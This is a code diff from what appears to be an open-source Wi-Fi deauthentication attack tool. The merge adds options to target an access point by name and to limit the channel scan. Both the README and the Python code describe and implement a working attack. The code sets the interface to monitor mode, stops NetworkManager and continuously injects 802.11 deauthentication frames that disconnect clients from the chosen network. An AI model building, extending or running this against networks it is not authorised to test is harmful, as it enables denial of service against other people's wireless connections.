Merge pull request #10 from flashnuke/feat/custom_bbsid

Feat/custom bssid and channels

Author: flashnuke

README.md

@@ -26,11 +26,16 @@ After the attacker chooses a target access point to attack, the program:
 ```bash
 python3 wifi-deauth.py -i <iface>
 ```
+
 ### Usage notes
 *  `<iface>` is the name of the network interface (i.e `wlan0` or `eth0`) that supports packet injection
-* Pass `--kill` (or run `sudo systemctl stop NetworkManager`) in order to kill NetworkManager service which might interfere with the attack
 * The initial iteration over all channels might take a minute or two (depends on how many bands the interface supports)
-* Pass `--skip-monitormode` if you want to enable monitor mode manually (otherwise the program does it automatically)
+
+### Optional arguments
+* `--bssid <name>` - filter for a specific BSSID (this should shorten the channel-scanning duration), beware that the name is case-sensitive and whitespaces should be passed with an escape character (i.e -> `new\ york`)
+* `--channels <ch1,ch2>` - scan for specific channels only, otherwise all supported channels will be scanned
+* `--kill` (or run `sudo systemctl stop NetworkManager`) - kill NetworkManager service which might interfere with the attack
+* `--skip-monitormode` - enable monitor mode manually (otherwise the program does it automatically)
 
 ### Misc notes
 * Check `ifconfig` to find the interface nickname

wifi-deauth.py

@@ -1,6 +1,7 @@
 #!/usr/bin/env python3
 
 import copy
+import signal
 import logging
 import argparse
 import traceback
@@ -28,15 +29,16 @@
 
 
 class Interceptor:
-    def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager):
+    _ABORT = False
+
+    def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssid_name, custom_channels):
         self.interface = net_iface
         self._channel_sniff_timeout = 2
         self._scan_intv = 0.1
         self._deauth_intv = 0.1
         self._printf_res_intv = 1
         self._ssid_str_pad = 42  # total len 80
 
-        self._abort = False
         self._current_channel_num = None
         self._current_channel_aps = set()
 
@@ -61,6 +63,37 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager):
         self._channel_range = {channel: defaultdict(dict) for channel in self._get_channels()}
         self._all_ssids: Dict[BandType, Dict[str, SSID]] = {band: dict() for band in BandType}
 
+        self._custom_bssid_name: Union[str, None] = self.parse_custom_bssid_name(bssid_name)
+        self._custom_bssid_channels: List[int] = self.parse_custom_channels(custom_channels)
+        self._custom_bssid_last_ch = 0  # to avoid overlapping
+
+    @staticmethod
+    def parse_custom_bssid_name(bssid_name: Union[None, str]) -> Union[None, str]:
+        if bssid_name is not None:
+            bssid_name = str(bssid_name)
+            if len(bssid_name) == 0:
+                print_error(f"Custom BSSID name cannot be an empty string")
+                raise Exception("Invalid BSSID name")
+        return bssid_name
+
+    def parse_custom_channels(self, channel_list: Union[None, str]):
+        ch_list = list()
+        if channel_list is not None:
+            try:
+                ch_list = [int(ch) for ch in channel_list.split(',')]
+            except Exception as exc:
+                print_error(f"Invalid custom channel input -> {channel_list}")
+                raise Exception("Bad custom channel input")
+
+            if len(ch_list):
+                supported_channels = self._channel_range.keys()
+                for ch in ch_list:
+                    if ch not in supported_channels:
+                        print_error(f"Custom channel {ch} is not supported by the network interface"
+                                    f" {list(supported_channels)}")
+                        raise Exception("Unsupported channel")
+        return ch_list
+
     def _enable_monitor_mode(self):
         for cmd in [f"sudo ip link set {self.interface} down",
                     f"sudo iw {self.interface} set monitor control",
@@ -90,35 +123,54 @@ def _ap_sniff_cb(self, pkt):
             if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
                 ap_mac = str(pkt.addr3)
                 ssid = pkt[Dot11Elt].info.strip(b'\x00').decode('utf-8').strip() or ap_mac
-                if ap_mac == BD_MACADDR or not ssid:
+                if ap_mac == BD_MACADDR or not ssid or (self._custom_bssid_name_is_set()
+                                                        and ssid != self._custom_bssid_name):
                     return
                 pkt_ch = frequency_to_channel(pkt[RadioTap].Channel)
                 band_type = BandType.T_50GHZ if pkt_ch > 14 else BandType.T_24GHZ
                 if ssid not in self._all_ssids[band_type]:
                     self._all_ssids[band_type][ssid] = SSID(ssid, ap_mac, band_type)
                 self._all_ssids[band_type][ssid].add_channel(pkt_ch if pkt_ch in self._channel_range else self._current_channel_num)
+                if self._custom_bssid_name_is_set():
+                    self._custom_bssid_last_ch = self._all_ssids[band_type][ssid].channel
             else:
                 self._clients_sniff_cb(pkt)  # pass forward to find potential clients
         except Exception as exc:
             pass
 
     def _scan_channels_for_aps(self):
+        channels_to_scan = self._custom_bssid_channels or self._channel_range
+        print_info(f"Starting AP scan, please wait... ({len(channels_to_scan)} channels total)")
+        if self._custom_bssid_name_is_set():
+            print_info(f"Scanning for target BSSID -> {self._custom_bssid_name}")
+
         try:
-            for idx, ch_num in enumerate(self._channel_range):
+            for idx, ch_num in enumerate(channels_to_scan):
+                if self._custom_bssid_name_is_set() and self._found_custom_bssid_name() \
+                        and self._current_channel_num - self._custom_bssid_last_ch > 2:
+                    # make sure sniffing doesn't stop on an overlapped channel for custom BSSIDs
+                    return
                 self._set_channel(ch_num)
                 print_info(f"Scanning channel {self._current_channel_num} (left -> "
-                           f"{len(self._channel_range) - (idx + 1)})", end="\r")
-                sniff(prn=self._ap_sniff_cb, iface=self.interface, timeout=self._channel_sniff_timeout)
-        except KeyboardInterrupt:
-            self.user_abort()
+                           f"{len(channels_to_scan) - (idx + 1)})", end="\r")
+                sniff(prn=self._ap_sniff_cb, iface=self.interface, timeout=self._channel_sniff_timeout,
+                      stop_filter=lambda p: Interceptor._ABORT is True)
         finally:
             printf("")
 
-    def _start_initial_ap_scan(self) -> SSID:
-        print_info(f"Starting AP scan, please wait... ({len(self._channel_range)} channels total)")
+    def _found_custom_bssid_name(self):
+        for all_channel_aps in self._all_ssids.values():
+            for ssid_name in all_channel_aps.keys():
+                if ssid_name == self._custom_bssid_name:
+                    return True
+        return False
 
+    def _custom_bssid_name_is_set(self):
+        return self._custom_bssid_name is not None
+
+    def _start_initial_ap_scan(self) -> SSID:
         self._scan_channels_for_aps()
-        for _, band_ssids in self._all_ssids.items():
+        for band_ssids in self._all_ssids.values():
             for ssid_name, ssid_obj in band_ssids.items():
                 self._channel_range[ssid_obj.channel][ssid_name] = copy.deepcopy(ssid_obj)
 
@@ -138,10 +190,11 @@ def _start_initial_ap_scan(self) -> SSID:
                 printf(f"{pref}{self._generate_ssid_str(ssid_obj.name, ssid_obj.channel, ssid_obj.mac_addr, preflen)}")
         if not target_map:
             print_error("Not APs were found, quitting...")
-            self._abort = True
+            Interceptor._ABORT = True
             exit(0)
 
         printf(DELIM)
+
         chosen = -1
         while chosen not in target_map.keys():
             user_input = print_input(f"Choose a target from {min(target_map.keys())} to {max(target_map.keys())}:")
@@ -174,7 +227,7 @@ def _packet_confirms_client(pkt):
 
     def _listen_for_clients(self):
         print_info(f"Setting up a listener for new clients...")
-        sniff(prn=self._clients_sniff_cb, iface=self.interface, stop_filter=lambda p: self._abort is True)
+        sniff(prn=self._clients_sniff_cb, iface=self.interface, stop_filter=lambda p: Interceptor._ABORT is True)
 
     def _run_deauther(self):
         try:
@@ -184,7 +237,7 @@ def _run_deauther(self):
 
             rd_frm = RadioTap()
             deauth_frm = Dot11Deauth(reason=7)
-            while not self._abort:
+            while not Interceptor._ABORT:
                 self.attack_loop_count += 1
                 sendp(rd_frm /
                       Dot11(addr1=BD_MACADDR, addr2=ap_mac, addr3=ap_mac) /
@@ -202,7 +255,7 @@ def _run_deauther(self):
             sleep(self._deauth_intv)
         except Exception as exc:
             print_error(f"Exception in deauth-loop -> {traceback.format_exc()}")
-            self._abort = True
+            Interceptor._ABORT = True
             exit(0)
 
     def run(self):
@@ -217,29 +270,29 @@ def run(self):
             t.start()
 
         printf(f"{DELIM}\n")
-        try:
-            start = get_time()
-            while not self._abort:
-                print_info(f"Target SSID{self.target_ssid.name.rjust(80 - 15, ' ')}")
-                print_info(f"Channel{str(ssid_ch).rjust(80 - 11, ' ')}")
-                print_info(f"MAC addr{self.target_ssid.mac_addr.rjust(80 - 12, ' ')}")
-                print_info(f"Net interface{self.interface.rjust(80 - 17, ' ')}")
-                print_info(f"Confirmed clients{BOLD}{str(len(self.target_ssid.clients)).rjust(80 - 21, ' ')}{RESET}")
-                print_info(f"Elapsed sec {BOLD}{str(get_time() - start).rjust(80 - 16, ' ')}{RESET}")
-                sleep(self._printf_res_intv)
-                clear_line(7)
-        except KeyboardInterrupt:
-            print("")
-            self.user_abort()
-
-    def user_abort(self):
-        self._abort = True
-        printf(f"{DELIM}")
-        print_error(f"User asked to stop, quitting...")
-        exit(0)
+        start = get_time()
+        while not Interceptor._ABORT:
+            print_info(f"Target SSID{self.target_ssid.name.rjust(80 - 15, ' ')}")
+            print_info(f"Channel{str(ssid_ch).rjust(80 - 11, ' ')}")
+            print_info(f"MAC addr{self.target_ssid.mac_addr.rjust(80 - 12, ' ')}")
+            print_info(f"Net interface{self.interface.rjust(80 - 17, ' ')}")
+            print_info(f"Confirmed clients{BOLD}{str(len(self.target_ssid.clients)).rjust(80 - 21, ' ')}{RESET}")
+            print_info(f"Elapsed sec {BOLD}{str(get_time() - start).rjust(80 - 16, ' ')}{RESET}")
+            sleep(self._printf_res_intv)
+            clear_line(7)
+
+    @staticmethod
+    def user_abort(*args):
+        if not Interceptor._ABORT:
+            Interceptor._ABORT = True
+            printf(f"{DELIM}")
+            print_error(f"User asked to stop, quitting...")
+            exit(0)
 
 
 if __name__ == "__main__":
+    signal.signal(signal.SIGINT, Interceptor.user_abort)
+
     printf(f"\n{BANNER}\n"
            f"Make sure of the following:\n"
            f"1. You are running as {BOLD}root{RESET}\n"
@@ -261,10 +314,16 @@ def user_abort(self):
                         default=False, dest="skip_monitormode", required=False)
     parser.add_argument('-k', '--kill', help='kill NetworkManager (might interfere with the process)',
                         action='store_true', default=False, dest="kill_networkmanager", required=False)
+    parser.add_argument('-b', '--bssid', help='custom BSSID name (case-sensitive)', metavar="bssid_name",
+                        action='store', default=None, dest="custom_bssid", required=False)
+    parser.add_argument('-c', '--channels', help='custom channels to scan, separated by a comma (i.e -> 1,3,4)',
+                        metavar="ch1,ch2", action='store', default=None, dest="custom_channels", required=False)
     pargs = parser.parse_args()
 
     invalidate_print()  # after arg parsing
     attacker = Interceptor(net_iface=pargs.net_iface,
                            skip_monitor_mode_setup=pargs.skip_monitormode,
-                           kill_networkmanager=pargs.kill_networkmanager)
+                           kill_networkmanager=pargs.kill_networkmanager,
+                           bssid_name=pargs.custom_bssid,
+                           custom_channels=pargs.custom_channels)
     attacker.run()